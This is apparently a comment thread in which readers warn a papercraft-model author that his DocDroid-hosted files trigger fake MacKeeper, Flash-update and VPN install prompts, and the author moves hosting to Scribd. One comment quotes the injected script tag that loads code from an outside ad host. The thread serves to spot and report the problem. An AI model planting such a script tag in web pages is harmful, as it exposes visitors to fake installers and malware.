I first got a modal prompt implying that I had just chosen to install MacKeeper, then after closing that got several "notifications" to "update" my "Flash player."

These papercraft models are a treasure, but it looks like the author needs to get away from this DocDroid platform as soon as possible.

I just moved my model hosting from do docdroid to scribd. I am hoping that will eliminate the whole malware issue. Please let me know if any new issues arise and thank you all for bringing this issue to my attention!

Looks like someone injected this into his page:

<script type="text/javascript" src="//contehos.com/apu.php?zoneid=3271470" async data-cfasync="false"></script>

Which isn't too stealthy about its business. For example:

function postAntiadblockInfo(zoneid, format)

Yes same here, tried to get me to install something on my android. Please leave this provider asap! But I love these so much I'll happily host them all on my CDN if you'd like.

Yes, it chains to some kind of fake Flash installer.

I am honoured to be included on one of the coolest boards out there. I am not much of a true hacker but I am so happy to be able to contribute to the discussion.

If anyone can suggest better alternate hosting, I would be happy to move them to that new location. Thanks for the head's up. I guess a crew of hackers would be quick to spot the exploit..

Not for me. The link (I only tried the CPC 464) served a pdf thru docdroid.net. Although I tried on an iOS device. Sometimes this things are smart and check the user agent before pushing a payload.

Yes. I was presented an official looking Apple prompt on my iPhone which said something along the lines of: Install the the VPN to continue safely browsing.

What type of malware, specifically? They all seem to point to docdro.id and the download link there is a direct one to a PDF.

Yes, I have the same problem on my iPhone